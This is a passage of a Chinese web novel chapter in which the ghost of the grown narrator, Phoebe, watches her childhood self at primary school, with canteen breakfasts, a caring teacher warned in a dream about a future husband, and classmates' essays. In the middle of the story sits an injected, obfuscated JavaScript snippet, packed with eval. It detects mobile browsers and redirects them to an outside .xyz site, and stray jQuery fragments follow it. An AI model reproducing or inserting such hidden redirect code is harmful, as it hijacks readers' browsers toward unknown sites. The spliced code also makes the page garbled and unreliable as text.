比起福利院不算香也不难吃的早饭，小菲比更喜欢早点跑去学校的食堂里蹭吃蹭喝，只为多吃一些香喷喷的早餐，小学的菜肴美味丰富。接送福利院孩子上下学的管理队伍有几批，她每次都早早起床准时去第一批队伍。


    小学的早餐食堂主要是为老师们开放的，有一部分小朋友早到学校的话，三三两两会去吃免费的餐食。小菲比基本都能赶上学校最后的早餐。


    老师们吃早餐的地方，在食堂大堂右侧进去的一间不大的小食堂，递食物的窗口前面就是饭桌椅子一体式的座位了。起初小菲比随着西伯利亚溜进来第一次吃早餐的时候，她心里怪不好意思的，完全不敢多看一眼食堂里的老师们，她比较畏惧老师们的威严。西伯利亚虽然也敬重好老师，但是平时比较神经大条，压根觉得这没什么。


    食堂做的员工餐，老师们不一定能吃完，所以有些孩子来蹭吃蹭喝，学校完全不介意，认为这样不浪费，还呼吁没吃早饭的孩子可以早到学校用餐。


    小菲比常在窗口点没有很辣的红油素面、软糯的紫菜饭团、香气扑鼻的小笼包、清淡的海味馄饨和大白菜年糕汤，还有外酥里嫩的葱香生煎包。自打她上了小学，享受学校里的伙食是她感到最幸福的事情之一，饭菜好吃到令她手舞足蹈。吃得她的婴儿肥都长出来了，不再像以前那么瘦巴巴的似个小猴子。


    校园食堂每天的早餐都不一样，有什么吃什么，反正她几乎喜欢吃每样食物，除了香菜和部分内脏。


    小菲比本来不喜欢和西伯利亚坐在一起，不过西伯利亚能吃其他的食物，他们就可以一块儿分享，同时品尝到多种早餐。后来有其他同学八卦造谣说，他俩在吃早饭的时候眉来眼去地约会，小菲比就不想再和西伯利亚一块来吃早饭，然后她改天约了刘逞美一起吃早饭，为此刘逞美每天得比过去提早半个钟头起床，她的父母还以为她在用功读书，喜眉笑眼地就把她早送来学校了。


    如果菲比和好朋友搭档吃饭，她坐在孩子堆里，就没有老师看她乖巧，主动地坐到她附近，时不时与她说话，还要啰嗦地问功课。如果她和老师一起挨得很近地吃饭，她的神经容易绷起，则会消化不良。


    小菲比只喜欢坐在班主任语文老师的附近，反正她的语文成绩最好不怕被问，她还是语文课代表呢。这门课的老师算是老师们之中脾性最温和的人，班主任除了忍无可忍发飙骂上蹿下跳的男同学，她平时说起话来温温柔柔的。而且赵老师知道小菲比的身世，她从来细心保护着福利院学生们的隐私，她平时对这部分学生更要关注上心一些，也很抓他们的成绩，盼望没有父母依靠托底的他们将来能有好的出路。


    在食堂吃早饭的时候，赵老师会给小菲比加菜，劝正在长身体的她多吃点。老师还会侧面打听小菲比家里的饭菜充足吗？好吃吗？


    小菲比鼓着腮帮子委婉地回答，家里的饭菜没有学校的好吃，家里以前的饭菜没那么多，现在各位老板们给妈妈发的钱多了，伙食就变得丰富多了。


    赵老师思忖了一番，后来也把攒起来的工资捐了一大部分给福利院。她希望福利院里的孩子们能继续有丰富的食物吃，一个个长得健康强壮，平安就好。到学校食堂来吃早点的孩子，她都有默默注意，福利院里的学生们要多一些。正是因为如此，学校的食堂会多做一些早餐。


    过了几天，我的灵魂从身后拥抱了一下打电话的赵老师，在她的耳边用小时候的声音说，谢谢您，我小学那位最爱的老师。赵老师似乎听见了一点儿余音，等她在办公室回头并没有看见小菲比的身影，她还笑话自己做了好事就想马上得到学生的夸赞，居然都出了幻听。


    晌午，赵老师与学生一起在讲台上午睡的期间，我入了她的梦境，亲自感谢她，把童年时未能说出口的话表达了出来。我尽量欢快地转了一圈，便告诉赵老师，我是长大后的菲比，我在未来都一直记着您呢，老师快看，我变得多么健康，个子都长得高高的。非常谢谢老师关心我们福利院的学生，还私下捐钱给我们，虽然你让梅香妈妈别告诉我们你把自己攒的钱都捐了，只给自己留了一小部分生活费，不过梅香妈妈还是悄悄地告诉了我们，我都知道呢，从小就在心里感激您……


    赵老师的眼睛湿润了，她动容地伸出双手把我揽入怀里，问候道：“嗯……老师得意的语文课代表长漂亮啦……你真的是长大后的菲比吗？怎么瘦了呢？乖孩子，长大后没有好好吃饭吗？以后吃饭记得多给自己夹菜，多吃一点儿，就当是帮老师为你夹的……”


    在我度过小学的那六年里，赵老师是学校里唯一那个会把我抱起来的老师，我抱住她的脖子轻声地称呼过她几次“妈妈”。我在梦境里再度把双手搭到赵老师的脖子上，仿佛重温了旧日的温情时刻，我感恩地答应：“好啊妈妈，我以后会多吃饭的，您也要好好吃饭……未来千万别为了臭男人抑郁起来，茶不思饭不想的……”


    我和赵老师在梦境里叙旧没一会儿，我想起一件重要的事就握住她的手，紧紧地盯着她棕色的眼睛，郑重其事地叮嘱：“老师，以后如果你遇到一个叫王灏的体育老师，千万不要和他结婚，他会背叛你的，他在你怀孕后和数学老师搞在了一起……”


    我后来讨厌体育课和数学课不是没有道理的，五年级新来的体育老师和老油条数学老师人品皆不好，他们都对孩子不友好，动辄打骂，并且私德有亏，导致我辜负了这两门重要的学科。


    我正嘱咐着这件事，赵老师还没回答我，班上的男同学发出声音吵醒了讲台上的赵老师，我就被坍塌的梦境弹了出来。


    我迅速来到那个调皮男生的旁边，没好气地揍了他一拳，赏了他的脑袋一下，他吃痛地捂头。


    赵老师也拿着鞭子装作气势汹汹的样子，一鞭子轻抽在了他的后背上，她压低声音说，她不打孩子的头，抱头有什么用，她命令这调皮小子不许再发出任何声音，他现在是不懂午睡的好，再发出声音的话……既然不爱睡觉，就出去罚站好了。


    赵老师路过睡得正香的小菲比时，她顿住了脚步，身体微微一侧，她抬手伸出食指极轻柔地擦过菲比的脸颊，顺便把孩子嘴边的口水擦了擦，便露出淡淡的温婉笑容，不紧不慢地回到了讲台上坐下。其后赵老师撑着下巴，一直注视睡着的菲比，大约在回想梦境。她还在草稿纸上写了一个王字，打上了叉的记号，也许她没记住灏字。


    可是日后学校里真的来了一个姓王的体育老师，赵老师在他攻势迅猛的追求下，照样和他在一起了。她似乎忘记了那个梦境，忘记了我的嘱咐，依然重蹈覆辙了。我曾强迫小菲比冒险去给赵老师警告说，不要跟王老师谈恋爱，他是花心烂萝卜!除了皮囊长得好一点以外整个人一无是处!


    一头雾水的赵老师哭笑不得，稍后若有所思，她好像回忆起了曾经的梦境，但她摇摇头并不当真，她似乎以为人生怎么会和无稽之谈的梦境一样呢？


    赵老师回家生孩子遭遇“王八男”背叛之事，当年在小学里传得沸沸扬扬，她和烂萝卜男离婚后，就带着孩子远走高飞了，应该展开了新的生活。最后不要脸的体育老尸和数学老尸竟然在原地堂而皇之地走到了一起，我们大部分孩子都讨厌这对伤害了赵老师的奸夫淫夫。所以我们给这俩人取外号叫老尸，还有乌龟王八蛋、烂萝卜、老鸡婆什么的。


    在烂萝卜男还没来学校之前，我常常想方设法地提醒赵老师，一定要防着那个搞体育的烂萝卜男，可惜赵老师不撞南墙不回头，总觉得大菲比和小菲比梦里梦外的提醒都是巧合……


    我请小菲比去提醒赵老师之际，她问过我为什么要赵老师防着体育老尸，她打破砂锅问到底，想知道真相才肯去做这件事，我只好告诉她未来即将发生的悲催之事。这使得小菲比更加讨厌数学课，但目前的老体育老师人不错，她还不会波及无辜，所以她只讨厌数学课。


    数学老师整天黑着脸，她还不许小孩子们在课上去上厕所，小菲比去厕所需要很大的决心，因为她是从教室后面匍匐着溜去如厕。菲比写信举报过数学老尸，这个老鸡婆后来就懒得再管她了。既然小菲比对数学课感到讨厌和沉重，她出去上厕所后，就开始逃课去操场上玩，那是她第一次逃课。


    同学们传闻操场的尽头原本是墓地，于是，青天白日之下，小菲比来到墓地和她想象中的逝者讲话，她还会把我给召唤出来。我告诉她，那是假的，咱们的福利院和学校都没有建立在墓地上。


    这时菲比再次问我，那你是假的吗？


    我耸耸肩说：“不是吧，我们真实地存在彼此的眼前，这样的亲身经历不会是假的。”


    小菲比赞同。数学课过后是她很喜欢的书法课和社团美术课。她跟着快下课的时间回到了教学楼，班上好些学生迫不及待地等着下课，有的学生盯着教室里的钟表等待下课后的自由，而有手表的西伯利亚会看着手表，小声地读秒数，倒数下课的时间，紧跟着立即通知周围的同学们下课了!


    数学老尸喜欢拖堂，西伯利亚面对讨厌的老师可是很闹腾的，想方设法地让她拖不了堂。西伯利亚是同学们的救星，是数学老尸的克星，每当她面对这个泼皮学生，不管她怎么打他都打不服。


    西伯利亚疯来疯去就是不听她的话，理由是她长得比他丑，丑得要死，那张圆饼脸丑，人品更丑。他认为小菲比实在是说得太对了，如果赵老师是全校最美的女老师，那么数学老尸就是全校最丑的圆不隆咚的鸡婆，她平时那么爱扯学生们的头发，实际上她的头发不用扯都跟鸡窝一样。


    数学老尸的鸡窝头，是我的灵魂报复她而扯出来的，谁叫她老扯我小时候的头发，后来烦恼又头痛的她干脆把长发都剪成了短发。


    数学老尸下课离去时，我也在后面拔她的头发，乱扯一通，她抱头逃窜觉得中了邪，头皮怎么总扯得痛呢？她下定决心要去剪头发了。


    我捉弄着这个会虐待小孩的数学老尸，眨眼间跟到了办公室去，当她向语文老师抱怨小菲比上厕所逃课。办公室里不同的老师都谈起了小菲比，除了数学老师和个别也喜欢虐待学生的任课老师讨厌这个孩子，大家都觉得她挺乖巧的，然后他们话里话外意有所指地问数学老师，你是不是没控制住脾气又虐待孩子们了？


    数学老尸说她今天没有对学生们动手，他们不太相信，认为不然小菲比怎么会到逃课的地步呢？数学老尸与他们话不投机，说了一句爱信不信，便气呼呼地回到自己的办公桌备课了。


    和蔼可亲的老书法老师出办公室前，得意地说，学生们上他的课都很乖和自律，他们每次都认真地自习呢，反正他对他们很好。


    书法老师是一位略胖的戴眼镜的男老师，他通常讲一会儿字体的写法，就吩咐大家拿出字帖自己练习。


    小菲比不是很描得准薄纸上面的字体，她练钢笔字的时候，我会出现在她的身后，下巴磕着她的头顶，伸出双手握着她的手控制着力度写字，帮助她写出更好看的字，按照这个感觉写下去。我们合作着写久了，她自己慢慢找到了感觉。她的字规整中带着锋芒，后来写习惯了就变成凌乱中透着笔锋。


    刘逞美高效率地抄完字帖就转笔玩耍，小菲比有段时间看见同桌老是转笔，她也学会了用食指和中指操控着整支笔轻盈地转动，后来上课的时候，她也常常不自觉地转笔和踮脚抖动，因为她思考得越多，脑子高速运转起来，身体也想动起来。


    最后一节时间稍长的课，是大部分学生都喜欢的课程。学校改动策略，安排学生们在最后一节课参加各自喜欢的社团活动，提早培养孩子们的兴趣，让每个人自由地选择进修技能。如果学生们学习了一段时间的社团课，想换课也可以申请，条件是报课间隔的时间不能太短。


    菲比参加过美术课和声乐课。在美术课上，她学习着简笔画，先画了一棵枝繁叶茂的大树，再用铅笔把大树画成素描画的样子，她在艺术方面是有些天赋的。等小菲比画画的技术成熟以后，她居然把我大概的身影给画了出来，还在人物的头上画了光晕，最后画了一对纯洁的翅膀，右下角写下我的守护神几个字。


    我隐约记得这张画，可我早已不记得是什么时候画的了，我小时候以为这或许是妈妈的身影。


    小菲比自言自语地说，她真想给满秋看看这张画，满秋之前说过想看看她幻想出来的天使姐姐长什么模样。傍晚回到彩虹儿童院，她将这幅画交给了梅香院长，希望梅香妈妈帮忙把这幅画寄给满秋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630349|172519||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    梅香院长说，要她忙里抽空地寄画给满秋也不是不可以，有个前提是，期待小菲比下次的数学成绩能够进步，起码能及格就好。


    晚上小菲比闭眼许愿，祈祷守护神现身教她数学题。不知道为什么，她现在经常看不见我了，无论我怎么用意念努力，她都很少能在寻常的时间见到我。除非她被人揍，我想她就能看见发飙的我了。或许是随着小孩子长大，民间所称的天眼关闭了。


    幸而我能出现在小菲比的梦境里，教教她小学的数学题。比如小明家住在四楼，他从一楼到二楼需要两分钟，那么他从一楼到四楼需要几分钟？


    四层减一层等于三层，三层乘以两分钟等于六分钟。


    他从一楼到四楼需要六分钟。我最后硬生生把答案直接告诉她了。


    单是这么简单的一道题，小菲比愣是转不过弯来，我讲了半天，她都非要觉得有可能小明的步子快了或者慢了，时间没有那么准确，中间的误差要怎么算？小明跨的步子大了走得快的时候怎么算？跨的步子小了走得慢的时候又怎么算？


    我心想，教数学题的这种活儿不太好干，真让我的灵魂虚弱。我只好麻烦小菲比另请高就，去找好朋友刘逞美折腾吧，好歹逞美的数学是班上前十名的成绩。我没事折腾自己作甚，人应该学会互补。


    对于菲比落下的数学成绩，刘逞美果然帮她提高了，刘逞美和满秋拥有相差无几的成绩，她们每科成绩都不错，刘逞美在家里早有家教已经教完了这学期的知识。她无聊之下，接受了小菲比拜师的提议，开始兴致昂昂地教菲比数学题目，顺便能巩固自己的知识。


    可能我教数学题时表达得不够清楚，没想到刘逞美讲题的方式让小菲比一下子就懂了。遂明白过来，我的缺点是数学，自己教自己数学能有什么好事。


    然而小菲比考试的时候，她仍旧有很多题做不出来，为了寄画给满秋，我只好帮她作了一次弊，亲自握着她的小手写出了很多题的答案，但是没有令她全部做对，那样显得太假了。她知道是我在帮她，连忙感谢守护神。我提醒她，下不为例，以后还是要靠自己学习。


    到了小菲比上其他课的时候，有时老师上课抽问抽中了懵然的菲比，我还是没忍住帮她作弊了，我真不想看见她在全班出糗的样子。


    当忐忑不安的小菲比答不出来问题，我有时靠在她耳边说答案，有时吹起了书页翻到答案那边，或者撞了撞知道答案并会帮助她的同学们。哦好险，正是因为好险，没想到她在作弊的同时记住了答案。不过她心情波动起来，就容易影响肠胃，便不得不如厕。幸好她回答对了问题，任课老师们才顺眼地同意她去厕所了。


    小时候我就已经学会帮人作弊这招了，西伯利亚总把漫画献上送给小菲比阅读，当这是学费，苦苦求她教他写作文，其实也就是她直接念出来，他写上去就完成了，他要求她多编几句作文就好，这样很省事。


    小菲比嘱咐西伯利亚多多看书，阅读词句优美和有意义的文学书，可他就爱看漫画。她摇摇头觉得他无药可救，不过她认为，他听写多了作文，总能积累点词语吧。


    小菲比摇头觉得西伯利亚无药可救的模样，简直像我帮她作弊时摇头觉得她无药可救的样子。


    小菲比上语文是最让我省心的，我也可以休息下来一起听课啦。那天赵老师在黑板上写下主题《我的理想》以后，便转身向学生们提问，大家长大以后的梦想是什么呢？每个人都要写两百字的作文交上来哦。


    小菲比的梦想是做警察和老师，或者成为作家和宇航员，以及有品味的音乐家。她想要成为的大人是多种多样的，有很多不同的理想，多写一点总能实现其中一个。她写的作文虽然稚嫩，但是充满赤子之心。


    我叫李菲比，价值不菲的菲，无与伦比的比。我相信我的理想像我的名字一样有意义，我的理想有很多，多到爱幻想的我充满期待，我的梦想是做正义的警察扶弱抑强，是做赵老师这么高尚的老师教书育人，是成为有很多想法的作家写很多个故事，是做神奇的宇航员遨游在宇宙之中，是喜欢音乐在未来打工赚钱学乐器成为音乐家……但我最想成为的理想是做自己，我现在还不知道哪一个理想是我自己真正想要的，但是我会慢慢地来看清自己的内心，安心等着自己长大，我的人生道路就能到达平静的海面，那是我遥不可及的大海……


    小菲比从小的作文总是超出规定的字数，拼音也不少，她一写作起来就喋喋不休，很噜苏。所以西伯利亚在写作文这件事上，很崇拜小菲比能写出密密麻麻的字，而他憋半天才能放出一句屁话来。


    小菲比教他把平时对同学们嬉皮笑脸说的话，直接放进作文里，不是多少能写点儿话出来吗？可是西伯利亚一面对作文，就无话可说，他千真万确讨厌作文，讨厌到不想说话。不过在菲比的引导下，他至少也写过一篇字很多的作文出来。


    小西伯利亚自己写的最完整的一篇作文是：在同学的嘴里，我是俄罗斯的西伯利亚，我能有什么梦想？难道是去西伯利亚挖土豆吗？我的梦想是回上辈子的老家吗？不可能，噢我的上帝，真别说，我爷爷每天都给我做土豆，你知道我为什么每天早起去学校吃饭吗？我上辈子真是杀了土豆全家，因为我们家早上吃土豆，中午吃土豆，晚上也吃土豆。土豆是爷爷的最爱，只有我吃够了土豆，我永远都不可能回到西伯利亚。所以我现在才想好了我的理想，那就是长大以后永久地居住在中国，卖废品攒够了钱换一个地方吃饭，不再吃土豆。我的理想是，不吃土豆。谁给我吃土豆，谁就是在给我下毒。我爷爷可真是个五毒俱全的老家伙，一个老土豆精罢了。


    我中学的语文老师教我们，想看你的作文写得通不通顺，有没有及格，你就把文章读出来就行了。如果念出来的确是在流畅地讲故事，并富有感情，那就是不错的作品。如果念出来的句子夹杂了很多华丽空洞的形容词，读着让人觉得尴尬，故事还讲得磕磕巴巴，那么它就不及格。


    当我的灵魂读出小西伯利亚的作文，没想到听起来很通顺，只是有点儿滑稽。


    西伯利亚真是个滑稽的小子。我当年在嘴上没有和他做好朋友，真是一件不明智的事情。